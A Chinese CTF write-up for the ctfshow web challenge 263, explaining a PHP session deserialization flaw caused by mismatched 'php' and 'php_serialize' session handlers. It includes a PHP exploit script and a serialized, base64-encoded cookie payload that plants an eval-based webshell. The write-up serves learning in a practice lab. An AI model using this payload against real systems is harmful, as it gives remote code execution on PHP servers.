ctfshow web入门反序列化263——学习session的两种存储方式

一. 题目分析:

跑dirsearch发现有个www.zip压缩包,是网站的源码,通过源码分析,我先梳理解题思路:
(1)首先访问首页,建立session,并获得cookie。
(2)然后将cookie修改为反序列化字符串
(3)访问check.php实现反序列化shell的写入
(4)访问log-1.php,获取flag

废话不多说直接上exp:

<?php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$user=new User('1.php','<?php eval($_POST[1]);phpinfo();?>');
$res="|".serialize($user);
echo $res;

得到payload为:

|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[1]);phpinfo();?>";s:6:"status";N;}

注意源码中要对cookie进行base64编码:

fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozNDoiPD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/PiI7czo2OiJzdGF0dXMiO047fQoK

总结:

这道题目关键是要注意session的存储方式为php:

ini_set('session.serialize_handler', 'php');

实际上还有一种常用的方式为:

ini_set('session.serialize_handler', 'php_serialize');

这两种session的存储方式的区别如下:
(1)php机制:

<?php
session_start();
ini_set('session.serialize_handler', 'php');
class User{
    public $a="admin";
}
$user=new User();
$_SESSION['user']=$user;
//结果为:user|O:4:"User":1:{s:1:"a";s:5:"admin";}

(2)php_serialize机制:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class User{
    public $a="admin";
}
$user=new User();
$_SESSION['user']=$user;
//结果为:a:1:{s:4:"user";O:4:"User":1:{s:1:"a";s:5:"admin";}}

可以看到两种方式的区别主要是“|”符号,在php_serialize机制中,只会序列化“|”符号后面的内容,这就是这道题的解题关键
详细的关于session存储方式的知识可以参考y神的这篇文章:
添加链接描述

上一篇:serializeArray 与 serialize


下一篇:内表转JSON方法